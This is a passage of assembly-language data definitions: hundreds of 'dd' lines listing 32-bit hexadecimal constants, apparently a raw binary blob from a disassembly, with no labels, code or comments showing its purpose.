dd 5723BECFh, 63EEEBB5h, 0FB1BB612h, 43376DEBh, 0EDAB540Bh
dd 0B72EDAB2h, 0B6DB45B9h, 8F5491B4h, 3F8DC6C4h, 0FC407E70h
dd 69F35E8Dh, 84A7C74Ch, 0BBD8A51h, 0C99B6836h, 0A7BFD809h
dd 0CE6E2802h, 6731045Fh, 0B5CF5742h, 2461FA1h, 2291A1F9h
dd 1083A0FDh, 0C00ACAF8h, 92B26212h, 3BFA6348h, 0D8238057h
dd 5F6401F4h, 77CEA09h, 0E0989B51h, 37B8367Eh, 3EBD81B4h
dd 505CAD64h, 86FA7B8h, 45F894AFh, 93EF7B4Fh, 81217AA6h
dd 442F705Bh, 0AF66CAC1h, 0A1FFB5h, 82F769Eh, 0E80F32FAh
dd 825D62CCh, 0E15A52E3h, 53E90D91h, 0FE3A5A33h, 2BA89EF6h
dd 23313185h, 84A5673Fh, 39FBEC71h, 948BA6CDh, 0A72D8B8Ch
dd 58FA7F1Dh, 0CB8E3690h, 0FB0DB651h, 2815B03Fh, 978AD1B5h
dd 0C1D112A9h, 0BA67C98Ah, 1E3ABC8Dh, 0D5311CB4h, 9BE36B01h
dd 0F55F162Ch, 18FE105Eh, 9C8D5534h, 97494CECh, 9C02CB57h
dd 443723E8h, 908618C3h, 8294EAA8h, 0ADCD9E9h, 0B602565Ch
dd 81BB0B61h, 0ED5B6918h, 0ED1D50Ah, 0B5FB997Dh, 10AC7050h
dd 0FF88225Ch, 7861E39Bh, 8823D5BAh, 0BB49C717h, 86D80F15h
dd 0CF446810h, 685E0CF9h, 0D02A935Ch, 4FE6B17Dh, 0C1C00D16h
dd 0DF18B6D9h, 5ADD9126h, 7B1B613Ah, 8A875714h, 70B068BCh
dd 390EDF25h, 7C2B454Bh, 0E9B7AEC2h, 15547411h, 73DB446Ch
dd 985935C1h, 0E493D568h, 541EF1E0h, 1CDB628Eh, 0ADC0913Dh
dd 0AE4B8724h, 0A36BAF8Eh, 0A21030D7h, 0D70A4C57h, 84E35513h
dd 8A565EE9h, 0B31E736Bh, 2A7A6118h, 0FF8B0F19h, 0ED735F3Ch
dd 0EDD33033h, 7ED13002h, 12644438h, 2C0A7FAFh, 62637524h
dd 469A8F93h, 0F6EDA9BBh, 0DF6D72E9h, 0E8752AC5h, 23DC9A7Bh
dd 6BAEEC39h, 0F47D1DA3h, 0CD7ED8EFh, 0DA4B987Fh, 0CD3E5D47h
dd 44A00886h, 22AEBC17h, 85ADAD2Dh, 262CB7B8h, 908C8CF2h
dd 84D832A1h, 0B9A0300Dh, 0F774CB3Eh, 0D07E1101h, 7D9297FDh
dd 25ED1D56h, 0C76DE4FCh, 0FF3BF0DEh, 0A62BFD0Ah, 4D5C5EF9h
dd 3F239037h, 55510B55h, 0C592CF6Fh, 173C5D48h, 0E8EF55F7h
dd 0A24F6786h, 0F18D638Eh, 961D91D6h, 6EA301E9h, 1E9F701Dh
dd 1E3DE3FFh, 2FE06CF8h, 930C859h, 0FA8E0A17h, 39B43F31h
dd 51B0F141h, 4B610408h, 0B26B4A63h, 0EAC21EDFh, 4EEBF8CFh
dd 4717A306h, 9B567CECh, 5FAF87DEh, 735BCA1Ah, 954750E0h
dd 0F895E55h, 68D956EFh, 356A59Ch, 8592E85h, 5BE6B863h
dd 15B63A5h, 0BEDFD27Eh, 0D9FFDEF6h, 0E86B3E7Ah, 0A951DE53h
dd 7532C033h, 95647FAEh, 112DE1D3h, 51A3BA16h, 718F9DF1h
dd 0A2125641h, 7EA27773h, 4DC7EC7Ah, 183AABB1h, 0EC26F7C3h
dd 15BD002Eh, 1CBDBE1Fh, 2D102D7h, 5AC09F04h, 5F57C4A5h
dd 57DE7CB7h, 872E33E2h, 0AD7C9B11h, 1A379623h, 0E2013E42h
dd 9C373383h, 0CA63EA01h, 0AF618E46h, 0BEEF571h, 0A23DE85Eh
dd 98F5CDD7h, 254308E1h, 0E5D2CFCCh, 0BDCEFE12h, 43E203B3h
dd 0E294B243h, 318F5554h, 2129E836h, 7C2DB675h, 0F8865839h
dd 575C1391h, 9DD5D747h, 0A7555FC2h, 6F4693ADh, 149F27EFh
dd 79FD984Ch, 6F33A1F1h, 36BD18B7h, 6EDD0A9Ch, 75873E62h
dd 48E11B08h, 2ED1E643h, 0BF8BCB93h, 122AC987h, 0DCAC6722h
dd 90F05FBCh, 45131E3Fh, 0DEE3E2EBh, 8FF74A90h, 9058AEC3h
dd 3C72C529h, 901ABB53h, 0D747B1E6h, 0BAA02C26h, 0F7579A62h
dd 0CE8236AAh, 1B26AA5Fh, 53DD2B3Ch, 0F039E1C8h, 533607B6h
dd 0CA015F9Bh, 0A2A001DEh, 43172CE9h, 0FEEBCE34h, 0BABB86BDh
dd 0C258056Eh, 0D8B39583h, 6A9739F8h, 0D39228E9h, 588A34h
dd 713BC281h, 0B3907C59h, 1644F083h, 42E87668h, 3AC8ECh
dd 5F0C907Eh, 0B8568E65h, 5B2F74DFh, 887E1B49h, 3F7D7D55h
dd 5CC64235h, 43EDDF35h
dd 0C9DD7E65h, 5B19D57Dh, 0A4DB165h, 0EF7ABFB2h, 0F84B8D36h
dd 86B44007h, 578957ECh, 0B62BCFA3h, 3CDA435Fh, 171BFCD2h
dd 484B64C6h, 746BC871h, 47974F1Dh, 8BAA47A5h, 792808F2h
dd 8D6F9E25h, 41BCAB2Dh, 26EA9860h, 9B00F2FFh, 7FF15092h
dd 7E09C84Dh, 813B5651h, 3BA1913Ah, 0BA44B601h, 694DFBA4h
dd 0B15D7C99h, 96514F6Ch, 4B0B7C2Ah, 0DBBB7BD3h, 9C3677EEh
dd 13132223h, 9A953F2Dh, 0C22442C4h, 0EBF1D1B4h, 8C83A024h
dd 0FF4333FCh, 7B4A485Fh, 95CA941Ch, 8F47755Ah, 81145D13h
dd 0B2FFA331h, 0E678692Eh, 2E376E37h, 69E5DF57h, 8718DEFDh
dd 27AFADAh, 0E53647FDh, 0DC8FC9B3h, 52998FF0h, 514E932Fh
dd 6F8E06F9h, 8392D0F9h, 24D80FA7h, 0D3253540h, 0DFB28103h
dd 3B74B309h, 5B640ECBh, 0BECF61EBh, 0F56C55F5h, 8A1FAF04h
dd 36419760h, 0B5788D10h, 0AE467B90h, 9A21997Eh, 2D91C7A9h
dd 0D4ACAE6Ah, 56D8105Fh, 0BA0ED231h, 86887BF9h, 0C1969A7Fh
dd 30BF452Ch, 10286B28h, 49E9E68Bh, 0C7292E89h, 0C385AEBDh
dd 8FBAE403h, 37A0CA7Ch, 3589CCCCh, 0A6779C13h, 4358338Fh
dd 0F4CC0ADFh, 45FC941Bh, 5146FED5h, 0C986F5ECh, 0EBCF809h
dd 5A298756h, 18AAF4B8h, 246AEEF1h, 3C259169h, 0F383B2BBh
dd 0A39E436h, 6668FEC5h, 1CA9ABDBh, 0F6A7CCE8h, 94A6E5EDh
dd 7CF67D44h, 0B47D20BFh, 9B02FEA0h, 7150EB51h, 9741EDF1h
dd 0C1646FC7h, 0E37CFAEAh, 5604924Eh, 0DE218005h, 2C7B4FD4h
dd 9FDA1AAAh, 68F3DDA7h, 6F527C65h, 2B62B203h, 0BE836C4Dh
dd 0EFEE92C5h, 0F517AE83h, 491C4913h, 9152E110h, 94B6A228h
dd 1EF2F9F1h, 34A4BA81h, 0D48B14F6h, 67F29F4Eh, 8761F2C6h
dd 3E68BE9Ah, 3B88DD11h, 997F1533h, 22C6BD54h, 47F698B3h
dd 0F7BFF4FFh, 5F3E35Eh, 5699E5A1h, 230F6BC4h, 0DAB4DE54h
dd 0B2F9CFDAh, 25574B84h, 0C0B5D359h, 7B01DE7Dh, 0B242E000h
dd 70E863D3h, 6C2FF4ADh, 0ADF18ECCh, 0D9643A8h, 0E6BCAE93h
dd 701BB291h, 791301A0h, 4472ACCFh, 5EA56506h, 0F080B6D8h
dd 7534645Fh, 364978C3h, 0A00030h, 3D583A3Fh, 0BF9FCDCCh
dd 3C21A77Fh, 89E8169Dh, 9F101CECh, 4940702Ah, 0F15A5946h
dd 0BD5D72F0h, 24F919CEh, 6733CDA1h, 0E6BEDC11h, 340F0E71h
dd 3F34C135h, 9151A9BCh, 0FE27BE01h, 673AF5C3h, 1D1EA3F2h
dd 4C49C144h, 678E8921h, 411AB6F3h, 485792DFh, 8F4CF058h
dd 94FF7FF3h, 0BAAF1090h, 0E2CD188Bh, 0F3669C3Dh, 367C732Ah
dd 0FC1D1705h, 61BF14DFh, 0A84E44D3h, 0AB368026h, 0C60EE369h
dd 53DC2E85h, 0F48D44C2h, 0DB9A6F30h, 0FC72357Ah, 5EED2E98h
dd 8A9B5CBh, 1B7AE751h, 0CBFB924Fh, 165850FDh, 4F8A8D0Bh
dd 0D792ADABh, 89C42AF2h, 0D6E66082h, 0C54F46C5h, 0E3AB9900h
dd 506AD244h, 5E174C92h, 0F5875AAAh, 0DA22679Ah, 0AB15378Ah
dd 52258494h, 0AF58CBC7h, 3452A2DAh, 0CC186B62h, 66920229h
dd 99632F5Fh, 6C0890E6h, 0A52A8E69h, 25672C67h, 403F7538h
dd 18FA4FA2h, 0EF02B09Bh, 51A59F66h, 80E7BC22h, 647BC316h
dd 0F006ADECh, 0AF8F69CEh, 0E1F59927h, 0D0D0E590h, 698211C8h
dd 0B4BDC9h, 0CD6BE5D2h, 904DF5D5h, 2179F59Eh, 0E8D1134Eh
dd 9C5B0156h, 5A517D86h, 257822EDh, 2CE00D9Bh, 0C7F59E88h
dd 57E5CF40h, 0CB42FC60h, 75FA518Ch, 836920DBh, 0FD8F8DCh
dd 0ADD8020Eh, 0E7806BC3h, 7CBD94AFh, 56932BC8h, 91D48632h
dd 5BD24C58h, 58CF29C2h, 234C97D0h, 0E316142Dh, 7F898FACh
dd 0D3C78642h, 6C046139h, 9D33A91Bh, 36D3AC84h, 9E4FE19Eh
dd 0F49BBABDh, 0A0961B7Ch, 0DE2F5CD8h, 4717055Ah, 3409306Ah
dd 590B03EBh, 0D42180C6h, 0EC87AFF4h, 0B60AA47Eh, 26169681h
dd 0B1A5554Eh, 1ED1C941h, 5EE50EFCh, 0B1C19D72h, 69ABC91Bh
dd 3C9F46BCh, 0B47A89F7h, 0E48637B6h, 95360AEBh, 0F9A486C8h
dd 6BFAF99Eh, 4C3A4EF4h, 1295D9D1h, 0CABF2E53h, 2A4867A9h
dd 0C7881DBh, 0D12F99C7h, 0E51360DBh, 3ED6696Eh, 0F113BBFBh
dd 3E04EB80h, 67158A75h, 975D3AB9h, 8549919Ah, 0DF003599h
dd 1FE36E98h, 3DFF2C36h, 9773DE4Fh, 0A2DD3AF6h, 6C0148DCh
dd 67553B96h, 0CB513BC4h, 8D23325Bh, 0ED12C5EAh, 896B1A6Ah
dd 0ED305879h, 0B6775CA3h, 0D98E3180h, 0D0465672h, 0A140E5E3h
dd 60818590h, 0BEEAED69h, 0D111738Eh, 0C2DBE6DCh, 3464F47h
dd 2F800B51h, 0C5244174h, 0EB54961Bh, 0AB51C6B9h, 3BF465B5h
dd 0F5094A9Dh, 0DA54B7F2h, 0D067E612h, 449D9677h, 5E826EFAh
dd 1B6ABAAEh, 6794875Ah, 0B8354F5Eh, 698F4BAAh, 0FC55416Bh
dd 0FEF0DED5h, 2273DBCh, 9360ABAEh, 5F03FCD9h, 640FFAEEh
dd 0B3F50946h, 9C31961Fh, 17A54829h, 370296A4h, 65EF0ECEh
dd 2CDBF952h, 0B99ADCA9h, 40949F5Dh, 4515ABB1h, 0B74BE100h
dd 11A88C39h, 6BF3A114h, 7DF3C296h, 73224F20h, 0C69B0A85h
dd 8DB31975h, 71B1AD6Eh, 39C6B27Eh, 0E546AFBAh, 7A7526DDh
dd 0BD6C5B38h, 339A33F4h, 0CF1BE4A3h, 0FDE05BDDh, 0A7DCD323h
dd 420B26E5h, 237B77BFh, 7DE7F4D7h, 224186E8h, 0EB0F1C3Fh
dd 1E173FC3h, 45B146DFh, 8A96833h, 4075C143h, 0BE33DD8Dh
dd 0B03EF55h, 6AE1C4B5h, 682D1F0Eh, 0ED7EA984h, 3C8C3C7Eh
dd 0AC419E8Ah, 461838D8h, 5CED8ABh, 33210012h, 0E4E02E23h
dd 0C306AC94h, 13712BFFh, 193B1DC8h, 41BD6FF7h, 0BCB4D4D2h
dd 0C45FBDEAh, 1572E605h, 9DA50E0h, 0C09052D3h, 39666850h
dd 35FCD11h, 56ED4A74h, 0DB44C71Eh, 62AB1B81h, 7A196B06h
dd 8B33926h, 0D337843h, 9DEF1129h, 0CCF2552Fh, 0DDDDF5D1h
dd 21C1CBC4h, 7A6C181Ah, 0D6758D19h, 0E99F53B3h, 60431A0Bh
dd 862EBA3Dh, 11ADF368h, 0E56A890Ah, 7B8854D6h, 2D153BFAh
dd 0F1AD2CDBh, 0ED7362Bh, 373677BEh, 604DD413h, 2E9BBAEBh
dd 9DB904EEh, 3023E27Eh, 0C0E8E85Ah, 0DEC077ABh, 0E9981EE7h
dd 0F46DD1CDh, 25CCA4F2h, 63D0E177h, 9E03F05Ch, 165F2405h
dd 121D8D59h, 3C4E21D0h, 990BF2C7h, 793DDD45h, 0D1346D38h
dd 0F1F264A6h, 0D34E2AD6h, 0DCA3F47Fh, 0E3AABB5Bh, 5986DA8h
dd 0BFD4AA7Fh, 63087854h, 64E37336h, 60B47413h, 80F3D37h
dd 5E8BE48Ah, 0DCC28B21h, 366C42D4h, 487D7219h, 0DB21421Bh
dd 0BD7C897Dh, 0D5B412EAh, 0B4B0FF91h, 9F599519h, 7C562E06h
dd 5175BEA9h, 83762A33h, 15596C63h, 4FD28257h, 59393BD1h
dd 0CCB8E89Dh, 0BD1E3D99h, 9F83E533h, 165EA233h, 3700448Ah
dd 0A5F4307Dh, 409D6027h, 0EF27CD8Eh, 91DFAF55h, 0E3CF7F73h
dd 0A3FC95F3h, 974A9341h, 4E677F06h, 0A39AFC6Fh, 0AAE0E140h
dd 16B135ECh, 33412D18h, 0B0BDB76Bh, 0BD3E26B3h, 9836449h
dd 5FFCA322h, 957AEE05h, 4442EDA2h, 0B2DDFE9Ah, 25C83C50h
dd 0DF5D2287h, 8E827592h, 9EAC1A6Dh, 3FE6CF6Dh, 8D780A04h
dd 22CD44D9h, 0FC97B832h, 325A50A0h, 4D8760B3h, 6E096696h
dd 0AE0F172Fh, 3EDC11BAh, 52147AABh, 10BC8A20h, 775E154Eh
dd 7784195Ah, 51882C75h, 0DF448FF9h, 53EB10B7h, 88396CDFh
dd 0FB7B18DFh, 0A312DDE8h, 0FF5BBBCh, 270F5ADEh, 2F548E3Dh
dd 0B6BAED6Dh, 0E4EF2163h, 0B644DA13h, 99DCD840h, 0A4B57023h
dd 2043D1D0h, 903E9D9Eh, 3CC82D7Dh, 0D6920E55h, 0EF1EAAABh
dd 0FA97A928h, 97B674B6h, 0DA95C270h, 808AEF27h, 466F0CADh
dd 0DBFCF5A5h, 7173DEEBh
dd 1B890671h, 0F4C19E85h, 0FAE9A750h, 7CBF407h, 0DE33A398h
dd 95EF1198h, 0B54873B9h, 11BF32FAh, 51AB23EBh, 0BF0E150Bh
dd 4BAD94B1h, 60A44A46h, 1B663305h, 0DC1B94A3h, 435F9697h
dd 0A3714A14h, 25F477Ch, 0F77E5A00h, 8E72BE5Eh, 0AA215397h
dd 0CCC59AB7h, 0A85C9D70h, 0C8BC05BDh, 47D13E5Dh, 55C97E4Dh
dd 0D0D4CA0Dh, 209D8B14h, 0CC13F07Fh, 0EDF1613Eh, 56E8E65h
dd 0FBBF5A80h, 20DF7A24h, 70F172DEh, 9FEB5B08h, 785B6FE9h
dd 63CC9BBDh, 0E056008Fh, 23F9C08h, 58F4A57Ah, 5BF4EE05h
dd 4A9584F9h, 602F4111h, 7C7453F9h, 3E36C106h, 3E321A29h
dd 8A4BC8C2h, 31A2D554h, 1E8EE41Dh, 0A3E25E81h, 8D0E05B1h
dd 0E6E98F00h, 49F9BAB9h, 24B3D476h, 0D22E7Ah, 0FA665C6Dh
dd 0D73C034Fh, 2FB66564h, 34ED457Dh, 0DB31A67Dh, 0AE56F79h
dd 0B283B9F8h, 9C851332h, 61A61DA2h, 1CBC1B4Fh, 0E66B1CEBh
dd 513043D4h, 0FA6645D4h, 65032123h, 26222945h, 93A2C4B6h
dd 25C54026h, 5CE75420h, 6A271F94h, 0F96222Dh, 95499AE5h
dd 0B0549FCh, 66929BBh, 0EC0A4B23h, 0E7843A0Fh, 9F3A23A2h
dd 0FB5CA588h, 0E13BDE17h, 289D01D7h, 60DDC6B3h, 316447Eh
dd 98F96449h, 0B936E141h, 0A7EBB69Dh, 0EE81372Bh, 0EC4B56E9h
dd 2802EB6Eh, 0A4783DDh, 0F0FE1420h, 38E3E1Fh, 0C8B317B1h
dd 0EAFB0C30h, 0A476059Fh, 0E83780A7h, 0A5C4C145h, 7B0D45F2h
dd 0E48E3601h, 0A9D73D3Ch, 0DECE2F26h, 295386A2h, 0B41EE028h
dd 0D10A157Ah, 4C7D7D7Ah, 9609BE8Eh, 0D18A77A9h, 96421A06h
dd 0ADA70F3Ch, 7682F872h, 79111DD0h, 0D7A4A733h, 787280BDh
dd 684E71AFh, 194CBB75h, 554A26F9h, 0D915312h, 22FC69BFh
dd 28BE71FEh, 5CF4F945h, 1E11CD62h, 8C6CEEh, 0CCC81E73h
dd 2913B893h, 0C787F2E0h, 5E8501EAh, 958E9B93h, 0DAD32AD0h
dd 4AA7145Eh, 0D1025793h, 81B9EB7Ah, 6525D36Dh, 61AC14E7h
dd 29DEE6C2h, 0B0FD9F16h, 0D17CAACAh, 82FCEC53h, 3D9AD7C6h
dd 40CDFEE2h, 6EE94A03h, 58155D55h, 5EA96E93h, 0DA19E83Eh
dd 0A576BB12h, 6AF50A66h, 0F5F68EF6h, 0D49F50BFh, 1D27A93Dh
dd 72C482F9h, 2678D063h, 0AF92D44Dh, 0C65B0005h, 94787329h
dd 7034FEF1h, 71FF75D8h, 91C63538h, 721B09C6h, 0A0D976EFh
dd 987304E6h, 0AF955BC0h, 0BB9B56E6h, 79A18B43h, 0BC4B47A6h
dd 397426E3h, 0D975662Fh, 0D8390F0h, 9116A75Fh, 0ABDE5AF0h
dd 0D945746Eh, 5D97B1F9h, 204185CFh, 68FAEBB3h, 764B8E03h
dd 79D41B48h, 0FA2CF6F0h, 7991A2BCh, 90978B70h, 2C382D4Bh
dd 0E2A9EAB3h, 0DB113B38h, 9A988139h, 1B3B7552h, 0C515997Bh
dd 0FE1F3D71h, 0FF54FBCAh, 35EC1B49h, 16506392h, 1D34B54h
dd 44660930h, 6783B643h, 4F2CE667h, 11BEBC7Bh, 0B799FDC2h
dd 0F506139Ch, 0B961E3FFh, 0C3B114A4h, 0C900033Ch, 0C33AE046h
dd 6B540697h, 0E9F192FAh, 2518BFh, 6965819Bh, 35AC760Eh
dd 63DEC7Bh, 0DD6DA6Ch, 0F5F295CCh, 1E7EDED1h, 0F3744C0Ah
dd 59AF244Bh, 0E682AB57h, 0D2B50FFCh, 656F4D9h, 0A42160E0h
dd 0C08DAC42h, 0B37F4742h, 323CEC9Dh, 0D4C4B77Eh, 28406F77h
dd 0F06923F1h, 9F6AADFAh, 107A2ECFh, 0F7D5D724h, 8431A429h
dd 0C01E2ABCh, 0BDFA28A8h, 39B9DAD1h, 338B3EB6h, 0CF2BE8A8h
dd 34A31B7Ah, 52AABAD4h, 0E7992BBFh, 2DB987Bh, 0C71D6793h
dd 0DB4E0A2Fh, 54CB6225h, 7FE33C17h, 0BAE709E7h, 0A7B55DE1h
dd 0BAE9DD85h, 222D49EEh, 632164C4h, 23026963h, 0E4A73B94h
dd 0F84B765Dh, 7D76AF71h, 84EBAA4Ch, 0A2EAE68Eh, 0AAB82930h
dd 59216C3Eh, 77EE6FDBh, 336818AFh, 40A8A574h, 0B9E20B94h
dd 0DF6FEB2Fh, 0BCFEA1C8h, 0C042B0D2h, 0F111A5Bh, 67A0E2F9h
dd 0F164354Eh, 0E818F80Eh, 7A11DC63h, 2C0A4Ch, 0B5D5A571h
dd 8E8E8709h, 8E4C274Eh, 9D36EB87h, 25BCB7CAh, 0AED2AE43h
dd 2BFAFEE7h, 90CE70B1h, 4632B975h, 88BF4297h, 0C62504F9h
dd 2B72E60Dh, 0B481D0C5h, 0C81CD86Dh, 9F2A36BFh, 912726F7h
dd 581755E0h, 7AF9E62Fh, 0EC0B46ECh, 38716654h, 0EA113AAh
dd 0ADAD0F69h, 40D3CD51h, 427BABF0h, 0BA06CDAh, 6BC0CDF3h
dd 78D2483Dh, 23272C27h, 5CC938D6h, 489D2B6h, 3B31D799h
dd 733DC22h, 1FA0C3F2h, 0D1BD1268h, 0B4E25771h, 2C8DBF35h
dd 835DE752h, 5AE7652Dh, 0E1D5BA51h, 0A22D2D5Dh, 1B7E2EDBh
dd 0E0D6E969h, 80129AD0h, 1443F0C1h, 6230D6Fh, 7D43FBDEh
dd 1D4CB6D1h, 1F34A739h, 0CCF865D7h, 0A003CB03h, 8F3A4F57h
dd 0C6EB3B85h, 3829E919h, 0E865073Ah, 6EE16F06h, 9C2348F2h
dd 6EB3F2CCh, 7C48CB0Ah, 3138A00Bh, 9A8B675Ah, 0C50AA6C2h
dd 9E104E9Eh, 35E322D2h, 71B8599Dh, 6E698FE0h, 615C74D7h
dd 0D474A83Eh, 3233DE72h, 4E81575Ah, 0BFB6F6F9h, 97A757DBh
dd 0D0747FD9h, 0EDBE7544h, 6DAF1684h, 0BD6E590Ah, 0F9BFB099h
dd 0A6151B78h, 0BBDEF929h, 0A8D61ACh, 0A952340Bh, 67089078h
dd 63100096h, 4CC694C9h, 5BBD6F44h, 0ECC0CE9Eh, 62F2D334h
dd 0D0010DF8h, 0EC3805CBh, 762EE709h, 1685FF65h, 154E4041h
dd 74715D62h, 46DF67FEh, 3CDD2CCBh, 0DC064C38h, 31273F32h
dd 873DB0EEh, 0C2714E4Dh, 5A6F5Dh, 1C2EA94h, 0F0E97A98h
dd 0BCF0ABA8h, 501A1FEDh, 9FE853A9h, 2CFA7D1Ah, 16618A79h
dd 0ABF0391Fh, 4C63412Dh, 9F3B00B9h, 9785A484h, 0BA8531B6h
dd 0F148DBF2h, 0DCCB77B7h, 6D0A6837h, 0E6BAE924h, 267436Fh
dd 26F82C18h, 5587D28Dh, 0AFFA2F67h, 6D56EFFDh, 4DF3C565h
dd 0EED0F79h, 0EB289B29h, 5AD3976Eh, 0C9FE37A7h, 0FFA2EDCDh
dd 75302627h, 0CA6EFD2h, 0C5F1B1FCh, 2B831057h, 7B05DB47h
dd 4804E776h, 752DD15Eh, 0ECF3AA47h, 0DADFBA5Bh, 7E13E021h
dd 593696E0h, 667611AEh, 0FBBEDEE3h, 0C762BDAh, 9B90CB15h
dd 5FBFC371h, 0B16091CBh, 0B2050947h, 8EEE4241h, 0C3F0B42h
dd 37A62C03h, 582E3462h, 0F3E8F2D3h, 65D9D9D5h, 8465403Eh
dd 8C126E9Bh, 11598AADh, 0A7DAEEFh, 669CF69Dh, 54B0A6BFh
dd 1132CFDCh, 0EA1C8F49h, 603B9A73h, 8CB9F2D2h, 0B1E3D31Ch
dd 4AA8C488h, 118EB6A1h, 3D444B5h, 1E82E15Ah, 23895DC4h
dd 0A38C9AB1h, 18174D6Ch, 9C34CCFh, 7827214h, 0AF7661A7h
dd 1DB4CCE9h, 204BC3Fh, 424193BFh, 2C32E599h, 2FEE962h
dd 0E917BBE2h, 0C8FC74CAh, 92D71D8Eh, 0FA9C2AD0h, 0E84F90F3h
dd 0DB66C92Bh, 0C8351C6Fh, 2D5D26EFh, 7981989Fh, 219D2A9Dh
dd 0C7254192h, 3E0EC097h, 0EA5D729Dh, 0BDC2029Dh, 1162FB30h
dd 0D827407Eh, 4AB9500Fh, 0C97E9A5Eh, 819A566Dh, 0CF3BD86Fh
dd 28678A8h, 0D67E1BD5h, 7EA3E00Bh, 0DDC8811Fh, 2B587296h
dd 184B650h, 87BAE631h, 93E22343h, 0A5846EF6h, 0C7262EC3h
dd 0FFC58579h, 700A60F0h, 923588F8h, 3B4E76C5h, 0B412FB3h
dd 92143EADh, 0C5F98BBAh, 53A349Fh, 0D1BAECBFh, 0FBA022D3h
dd 50801DC8h, 1A93C5C7h, 885D2D78h, 0F6C9E288h, 215E6A3Eh
dd 0DD8EB794h, 371F1BF8h, 7411E723h, 419D6F28h, 0E3C0C770h
dd 2539D43Ch, 0B73A38E5h, 841DC9F8h, 0CA88F200h, 0D2454A44h
dd 6004FC6Ch, 1A64793Ah, 74FF880Dh, 9A57DC1Dh, 78DDE26Bh
dd 0FF7D22B1h, 45C82EB6h, 0BCC559CEh, 19042804h, 7EC97544h
dd 83712B69h, 0EF0E62A3h, 2D2E62A7h, 7F4F4D7Fh, 0B001B4C6h
dd 0A4ADFAD1h, 4396ECB7h
dd 0AD79812h, 0F7F28726h, 0B2E0E501h, 73B6F6F1h, 0BE550668h
dd 5254FA22h, 258797h, 448C73B0h, 725712CEh, 22FC0ACAh
dd 9EEFF23Fh, 0BF5E2527h, 9AC2109Bh, 0B63F9E9Ch, 418641F2h
dd 0B404E4E4h, 29971387h, 7D5F1E17h, 0FEBCA371h, 84F035ECh
dd 1D3BDDE7h, 36F9CE3h, 0AA4E6B43h, 62546A4Bh, 6AC71B76h
dd 0AA42296Ah, 1ECF772h, 0B820013Ch, 6117E0EAh, 95F67B2Bh
dd 815EF050h, 0A7C5F8E4h, 5E3FD7F7h, 72CE0AE7h, 620673D2h
dd 37E6E908h, 0B480D53Fh, 0E8908CB1h, 0C5389670h, 33CB9616h
dd 73E32F91h, 4DAC81B0h, 7E0157DAh, 4B504159h, 0EDD2C9D1h
dd 0FD424A76h, 0A1638B6h, 6A3DB5C1h, 68E7BDC0h, 0D407F7F0h
dd 9FAE196Eh, 977E699Eh, 0C2BA755Ah, 0E3E50B61h, 0EE729AFDh
dd 0E6F02CBFh, 0C87AE353h, 0D9E3D64Fh, 7419F1F3h, 0F2CFA4C6h
dd 9028C727h, 0A7251F64h, 0B730EDE8h, 0D6CCB68Bh, 0F76092DBh
dd 0AD415556h, 0ADA01A47h, 0BE9E1A21h, 0D6BBCB4Bh, 27650637h
dd 8A81EDC5h, 69A612D7h, 0F3EFD34Dh, 0E97800DEh, 73E27EA2h
dd 0FCD4240Dh, 5B260AA8h, 77572FE3h, 3B501B47h, 7F24CC1Bh
dd 4C53A20Dh, 35771B6Dh, 0C9E77F97h, 0DAA82C6Ah, 6EB70D0Bh
dd 2166D802h, 0F3607576h, 8389C986h, 0A6B76859h, 520AEEB4h
dd 58E6B1C2h, 3E8A350h, 0AC575D91h, 7326491Ah, 55130CB0h
dd 5BB1B88Ah, 0A169BBA9h, 7A9765B6h, 20AC46C2h, 0EEAEA2DBh
dd 44201B42h, 0BB6383F3h, 16D16EB0h, 90080523h, 35071D0Eh
dd 4AC67481h, 0A6AF756Dh, 0B3C518FDh, 11B34D77h, 0A70BC935h
dd 0DF5E6F92h, 0C6BB8469h, 543965F5h, 388283D2h, 0DAED4776h
dd 3CD2FBB7h, 0BEA052D1h, 4007B6E5h, 717C3A33h, 64DABBFh
dd 0DC1FCCDCh, 0FDE67751h, 8531C6B2h, 0D60CA9CCh, 2F84295Eh
dd 0D6E2CD66h, 2277EB57h, 7D11FB64h, 7AF7BF96h, 0BEC068ECh
dd 112B8D37h, 3CA3959Eh, 0AFEDEAEAh, 0EA0FEDC7h, 7D963B3Dh
dd 44655791h, 45E7192Dh, 5F0ABAC6h, 8E410B5Ah, 0FA6347Eh
dd 0C8D2B65Eh, 9DF68C74h, 250B8EF9h, 49CF6E0Fh, 527132D3h
dd 55EF89C7h, 8370059Dh, 58AA27ADh, 0ED0CD1D5h, 0FC1D600Fh
dd 0E60C2402h, 0E6CBD9C1h, 9D8BA0ACh, 0BDBECE66h, 0D22FE6F6h
dd 6ABC65B5h, 758B8FA4h, 4CC8B948h, 70274D01h, 0F5A67770h
dd 8E3D9F0Bh, 0A576917h, 0ACCE787Fh, 0DED06ABBh, 0C48DBDAh
dd 76BE0FADh, 1E9AFD15h, 69452138h, 0B6C65BDDh, 94AB185h
dd 6BBE0FF0h, 0D153644Fh, 3CCDDCFBh, 460704DDh, 8C2669FDh
dd 9E5790E2h, 5902E8F2h, 0D0E77558h, 2438B040h, 4715FD7Ch
dd 0D23DAC4h, 0FA6C0135h, 8E740117h, 7B3E1F31h, 8006F17Ah
dd 7C33383Dh, 7DFA38ACh, 0BEB7843Eh, 9D04B0A5h, 0E35C67E2h
dd 9483FFDFh, 3E228C4h, 9BC11A76h, 9202E3D0h, 0E904C05Ch
dd 3DFFA09Dh, 0DBC23DDCh, 0BCDFB939h, 0D09C4261h, 4CDF4B14h
dd 390850A0h, 8508E6A8h, 0BACC7116h, 63594EDFh, 0C82B45h
dd 93292F89h, 6CE18121h, 684F7C17h, 0A45EA6EEh, 0F888B5B1h
dd 0F1AB8F71h, 13B46696h, 581FEA1h, 2D85575Fh, 0D1AE485Ah
dd 0CCF06AAAh, 88A5039Ah, 0F8B1EB31h, 10C11557h, 6A62079Bh
dd 0BD465BB0h, 0B96A6D67h, 0C573C287h, 723E50DCh, 42B33118h
dd 0CA264F6Ah, 3154BC6Ah, 2CEDF915h, 9B239E9h, 613078A2h
dd 41536BB1h, 0A5BD74F8h, 7F19E854h, 42B538F7h, 0D1440216h
dd 0A0D2EEFCh, 610B6CA2h, 0BF16237Bh, 2A0BEB81h, 9F641815h
dd 5066B39Dh, 0FAC1674Fh, 1ABD7449h, 0C40AF4B1h, 0DE1B5FF8h
dd 54D7AA8Dh, 17D93339h, 0ABF09B6Bh, 91740340h, 0DFD6097Eh
dd 0A15FEB26h, 0D156FCCFh, 6498539Eh, 7E9D9DFFh, 905D775Eh
dd 4457F36h, 0ECF9DE80h, 9455211Dh, 6CC7B52Ah, 0C49A950Bh
